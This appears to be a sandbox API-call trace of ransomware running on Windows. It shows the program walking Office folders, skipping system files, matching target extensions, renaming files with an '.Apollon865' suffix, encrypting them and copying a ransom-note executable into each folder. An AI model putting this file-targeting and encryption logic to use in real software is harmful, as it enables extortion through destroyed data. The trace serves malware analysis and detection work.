	[0075.954] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.954] lstrlenW (lpString="sqlite") returned 6
	[0075.954] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.954] lstrlenW (lpString="sqlite3") returned 7
	[0075.954] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.954] lstrlenW (lpString="sqlitedb") returned 8
	[0075.954] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.954] lstrlenW (lpString="xml") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.954] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.Apollon865") returned 114
	[0075.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.956] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1988) returned 1
	[0075.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.956] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.957] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.957] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.957] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad0, lpName=0x0) returned 0x118
	[0075.958] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad0) returned 0x100000
	[0075.959] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.960] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.960] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.960] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.961] CloseHandle (hObject=0x118) returned 1
	[0075.961] CloseHandle (hObject=0xc0) returned 1
	[0075.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.961] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.961] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.961] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0075.961] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW"
	[0075.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1518 | out: hHeap=0x580000) returned 1
	[0075.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0075.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned 91
	[0075.961] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW"
	[0075.961] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.961] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.966] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4559fad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4559fad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.966] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.966] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.966] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.966] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4559fad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4559fad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.966] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.966] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.966] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.966] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.966] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4559fad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4559fad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.966] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.966] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2=".") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="..") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="windows") returned -1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="bootmgr") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="temp") returned -1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="pagefile.sys") returned -1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="boot") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="ids.txt") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="ntuser.dat") returned 1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="perflogs") returned -1
	[0075.966] lstrcmpiW (lpString1="Office32WW.XML", lpString2="MSBuild") returned 1
	[0075.966] lstrlenW (lpString="Office32WW.XML") returned 14
	[0075.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*") returned 93
	[0075.967] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Office32WW.XML" | out: lpString1="Office32WW.XML") returned="Office32WW.XML"
	[0075.967] lstrlenW (lpString="Office32WW.XML") returned 14
	[0075.967] lstrlenW (lpString="Apollon865") returned 10
	[0075.967] lstrcmpiW (lpString1="ce32WW.XML", lpString2="Apollon865") returned 1
	[0075.967] lstrlenW (lpString=".dll") returned 4
	[0075.967] lstrcmpiW (lpString1="Office32WW.XML", lpString2=".dll") returned 1
	[0075.967] lstrlenW (lpString=".lnk") returned 4
	[0075.967] lstrcmpiW (lpString1="Office32WW.XML", lpString2=".lnk") returned 1
	[0075.967] lstrlenW (lpString=".ini") returned 4
	[0075.967] lstrcmpiW (lpString1="Office32WW.XML", lpString2=".ini") returned 1
	[0075.967] lstrlenW (lpString=".sys") returned 4
	[0075.967] lstrcmpiW (lpString1="Office32WW.XML", lpString2=".sys") returned 1
	[0075.967] lstrlenW (lpString="Office32WW.XML") returned 14
	[0075.967] lstrlenW (lpString="bak") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.967] lstrlenW (lpString="ba_") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.967] lstrlenW (lpString="dbb") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.967] lstrlenW (lpString="vmdk") returned 4
	[0075.967] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.967] lstrlenW (lpString="rar") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.967] lstrlenW (lpString="zip") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.967] lstrlenW (lpString="tgz") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.967] lstrlenW (lpString="vbox") returned 4
	[0075.967] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.967] lstrlenW (lpString="vdi") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.967] lstrlenW (lpString="vhd") returned 3
	[0075.967] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.967] lstrlenW (lpString="vhdx") returned 4
	[0075.967] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.967] lstrlenW (lpString="avhd") returned 4
	[0075.967] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.968] lstrlenW (lpString="db") returned 2
	[0075.968] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.968] lstrlenW (lpString="db2") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.968] lstrlenW (lpString="db3") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.968] lstrlenW (lpString="dbf") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.968] lstrlenW (lpString="mdf") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.968] lstrlenW (lpString="mdb") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.968] lstrlenW (lpString="sql") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.968] lstrlenW (lpString="sqlite") returned 6
	[0075.968] lstrcmpiW (lpString1="WW.XML", lpString2="sqlite") returned 1
	[0075.968] lstrlenW (lpString="sqlite3") returned 7
	[0075.968] lstrcmpiW (lpString1="2WW.XML", lpString2="sqlite3") returned -1
	[0075.968] lstrlenW (lpString="sqlitedb") returned 8
	[0075.968] lstrcmpiW (lpString1="32WW.XML", lpString2="sqlitedb") returned -1
	[0075.968] lstrlenW (lpString="xml") returned 3
	[0075.968] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.968] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.Apollon865") returned 117
	[0075.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.969] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4274) returned 1
	[0075.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.970] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.970] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.970] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.971] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x118
	[0075.972] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000
	[0075.973] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.974] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.974] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.975] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.975] CloseHandle (hObject=0x118) returned 1
	[0075.975] CloseHandle (hObject=0x15c) returned 1
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.975] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0
	[0075.976] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.976] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b50
	[0075.976] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us"
	[0075.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa958 | out: hHeap=0x580000) returned 1
	[0075.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0075.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned 94
	[0075.976] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us"
	[0075.976] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.976] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.981] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x455c5c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x455c5c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.982] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.982] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x455c5c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x455c5c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.982] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.982] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.982] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.982] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.982] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455c5c30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x455c5c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.982] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.982] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2=".") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="..") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="windows") returned -1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="bootmgr") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="temp") returned -1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="pagefile.sys") returned -1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="boot") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="ids.txt") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="ntuser.dat") returned 1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="perflogs") returned -1
	[0075.982] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="MSBuild") returned 1
	[0075.982] lstrlenW (lpString="Office32MUI.XML") returned 15
	[0075.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*") returned 96
	[0075.982] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Office32MUI.XML" | out: lpString1="Office32MUI.XML") returned="Office32MUI.XML"
